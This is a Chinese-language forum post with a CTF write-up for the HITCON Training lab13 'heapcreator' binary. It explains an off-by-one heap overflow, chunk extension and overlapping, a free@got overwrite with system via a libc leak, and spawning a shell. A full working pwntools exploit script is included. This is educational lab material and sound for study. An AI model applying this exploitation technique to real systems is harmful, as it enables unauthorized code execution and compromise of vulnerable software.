首页
论坛
课程
招聘
[原创]Pwn堆利用学习——chunk extend and Overlapping —— HITCON Trainging lab13
2020-11-20 15:48 613

[原创]Pwn堆利用学习——chunk extend and Overlapping —— HITCON Trainging lab13

2020-11-20 15:48
613

HITCON Trainging lab13

步骤一:运行查看

创建和打印 编辑和删除
image-20201119162322634 image-20201119162448438
 

创建的时候,输入的长度为5,然后输入的字符串:aaaaa,但是结果是:成功、多显示一次菜单和Invalid Choice,所以猜测这里存在什么漏洞,但是后面并没有用到。

 

其他就是编辑/展示/删除heap的content,更多信息等反编译查看了。

步骤二:查看文件类型和保护机制

  • 64位程序
  • 开启了 Canary 与 NX 保护
1
2
3
4
5
lzx@ubuntu16x64:hitcontraning_lab13$ file heapcreator
heapcreator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5e69111eca74cba2fb372dfcd3a59f93ca58f858, not stripped
lzx@ubuntu16x64:hitcontraning_lab13$ checksec --file=heapcreator
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable    FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   85) Symbols      No    0        2        heapcreator

步骤三:IDA反编译分析

  • create_heap

image-20201119173114291

 

在bss段有一个heaparray数组,这个数组每个元素heaparray都是一个chunk,userdata大小为0x10,前8Byte存放size,后8Byte存放content指针,content chunk的userdata大小为size。

1
2
3
4
struct heaparray{
    size_t size;
    char* content;
}
  • edit_heap

image-20201119173132340

  • show_heap

image-20201119173149479

  • delete_heap

image-20201119173205069

 

思路

  • RELRO是Partial RELRO,所以可以修改got表;
  • free的时候清零了,所以没有double free 或者 UAF;
  • edit函数中有个off-by-one漏洞,由于在IDA中查看到malloc的heaparray结构体都是0x10大小,content chunk是自己定,所以可以对inuse的fastbin进行extend,实现overlapping,以控制某个heaparray chunk。
  • 然后改写free@got内容。把free@got给被控制heaparray的content指针,通过show_heap函数泄漏free函数真实地址,接着泄漏libc地址并得到system函数真实地址,最后把改写free@got处的内容为system函数真实地址,调用free以getshell。
  • 要进行chunk extend,那肯定就是要得到size然后改写它了。所以可以先create 3个heaparray:
    • heaparray0 作用:通过heaparray0来修改heaparray1的size域,extend heaparray1 ,使得它和heaparray2“合并”在一块。
      • 如何通过通过heaparray0来修改heaparray1的size域?
      • 给heaparray0的content申请0x18大小,由于glibc中chunk对齐及prev_size域的特性,实际上分配给heaparray0_content的userdata还是0x10,后面8个字节是借用了heaparray1 chunk的prev_size域。如此,当填充heaparray0的content时第19个字节就是heaparray1 chunk的 size域的最低1个字节了。
    • heaparray1 作用:和heaparray2“合并之后”,先free heaparray1(合并后的),接着malloc 合并后大小的 chunk,并且在此时构造好content传入进去。让free@got地址覆盖原来heaparray2 chunk里heaparray结构体的content指针。
    • heaparray2作用:覆盖heaparray2 chunk里heaparray结构体的content指针后,就可以通过show_heap函数对heaparray2操作,泄漏free@got处的free函数真实地址,从而计算libc基址和system函数真实地址。然后还可以通过edit_heap函数把free@got处free函数地址改为system函数地址。这样,当调用free函数时,就变成了调用system函数。
  • 现在,能通过调用free函数来调用system函数,还缺参数。而delete_heap函数中是先对content指针进行free,所以,可以再create 1个heaparray,把"/bin/sh\x00"当作content。如此,delete这个heaparray的时候,就会调用system("/bin/sh")。

步骤四:调试分析

a. 编写选项函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
    if path == '':
        libc = LibcSearcher(func, leak)
        base = leak - libc.dump(func)
        system = base + libc.dump('system')
        binsh = base + libc.dump('str_bin_sh')
    else:
        libc = ELF(path)
        base = leak - libc.sym[func]
        system = base + libc.sym['system']
        binsh = base + libc.search('/bin/sh').next()
 
    return (system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
ruf      = lambda delims, drop=False  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './heapcreator'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
#libc = ELF('./libc.so.6',checksec=False)
 
def dbg():
    gdb.attach(p)
#    pause()
 
def create(size, content):
    sla('Your choice :', '1')
    sla('Size of Heap : ', str(size))
    sla('Content of heap:', content)
 
def delete(index):
    sla('Your choice :', '4')
    sla('Index :', str(index))
 
def edit(index,content):
    sla('Your choice :', '2')
    sla('Index :', str(index))
    sla('Content of heap : ', content)
 
def show(index):
    sla('Your choice :','3')
    sla('Index :',str(index))
 
#start
# end
 
p.interactive()

b. create四个heaparray,堆结构如下图所示。

1
2
3
4
5
create(0x18, 'aaaa') # 0
create(0x10, 'bbbb') # 1
create(0x10, 'cccc') # 2
create(0x10, '/bin/sh\x00') # 3
dbg()

image-20201120120119552

 

c. 修改heaparray0之后edit(0,'a'*0x18+'\x81') ,即通过heaparray0,修改heaparray1的大小,“合并”heaparray2,后面通过先free再重新malloc来overlapping,从而控制heaparray2。

1
2
edit(0,'a'*0x18+'\x81')
dbg()

image-20201120134038614

 

d. 释放heaparray1delete(1);

1
2
delete(1)
dbg()

image-20201120134932205

 

e. 重新malloc一个“合并”后的chunk(heaparray1和heaparray2及其content合起来共0x80,所以userdata为0x70),且构造content,将free@got给heaparray2结构体的content指针,后面就可以通过edit函数编辑content指针指向的内容,即修改free@got处的free函数的真实地址为system函数真实地址。

1
2
3
4
size = '\x08'.ljust(8,'\x00')
payload = 'd'*0x40 + size + p64(elf.got['free'])
create(0x70,payload) # 1
dbg()

image-20201120135928903

 

f. 最后通过show函数把free@got处的free函数真实地址泄漏出来。这里要注意一点就是脚本里free_addr = uu64(ru('\nDone')),Done前面有个回车符。

1
2
3
4
5
6
show(2)
ru('Content : ')
#free_addr = uu64(ru('Done')[:-5])
free_addr = uu64(ru('\nDone'))
leak('free_addr',free_addr)
dbg()

image-20201120140249667

 

g. 通过LibcSearcher计算libc基址,进而计算system函数,然后调用edit函数把free@got处free函数真实地址修改为system函数真实地址。下图中,查看free@got,里面确实变成了system函数地址(如果还想要确认libc基址对不对,可以用vmmap查看)。

1
2
3
4
5
6
7
8
9
libc = LibcSearcher('free',free_addr)
libc_base_addr = free_addr - libc.dump('free')
leak('libc_base_addr', libc_base_addr)
 
system_addr = libc_base_addr + libc.dump('system')
leak('system_addr',system_addr)
 
edit(2,p64(system_addr))
dbg()

image-20201120150044426

 

h. 现在万事俱备,就差调用了,content为“/bin/sh”的是heaparray3,那么我们free 它!getshell!

1
2
show(2) # 这一行有没有都行,只是打印显示而已。
delete(3)

image-20201120150621241

步骤五:构造Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
    if path == '':
        libc = LibcSearcher(func, leak)
        base = leak - libc.dump(func)
        system = base + libc.dump('system')
        binsh = base + libc.dump('str_bin_sh')
    else:
        libc = ELF(path)
        base = leak - libc.sym[func]
        system = base + libc.sym['system']
        binsh = base + libc.search('/bin/sh').next()
 
    return (system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
ruf      = lambda delims, drop=False  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './heapcreator'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
#libc = ELF('./libc.so.6',checksec=False)
 
def dbg():
    gdb.attach(p)
#    pause()
 
def create(size, content):
    sla('Your choice :', '1')
    sla('Size of Heap : ', str(size))
    sla('Content of heap:', content)
 
def delete(index):
    sla('Your choice :', '4')
    sla('Index :', str(index))
 
def edit(index,content):
    sla('Your choice :', '2')
    sla('Index :', str(index))
    sla('Content of heap : ', content)
 
def show(index):
    sla('Your choice :','3')
    sla('Index :',str(index))
 
#start
create(0x18, 'aaaa') # 0
create(0x10, 'bbbb') # 1
create(0x10, 'cccc') # 2
create(0x10, '/bin/sh\x00') # 3
dbg()
 
edit(0,'a'*0x18+'\x81')
dbg()
 
delete(1)
dbg()
 
size = '\x08'.ljust(8,'\x00')
payload = 'd'*0x40 + size + p64(elf.got['free'])
create(0x70,payload) # 1
dbg()
 
show(2)
ru('Content : ')
#free_addr = uu64(ru('Done')[:-5])
free_addr = uu64(ru('\nDone'))
leak('free_addr',free_addr)
dbg()
 
libc = LibcSearcher('free',free_addr)
libc_base_addr = free_addr - libc.dump('free')
leak('libc_base_addr', libc_base_addr)
 
system_addr = libc_base_addr + libc.dump('system')
leak('system_addr',system_addr)
 
edit(2,p64(system_addr))
dbg()
show(2)
delete(3)
 
# end
 
p.interactive()

参考文献


[培训]12月3日2020京麒网络安全大会《物联网安全攻防实战》训练营,正在火热报名中!地点:北京 · 新云南皇冠假日酒店

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回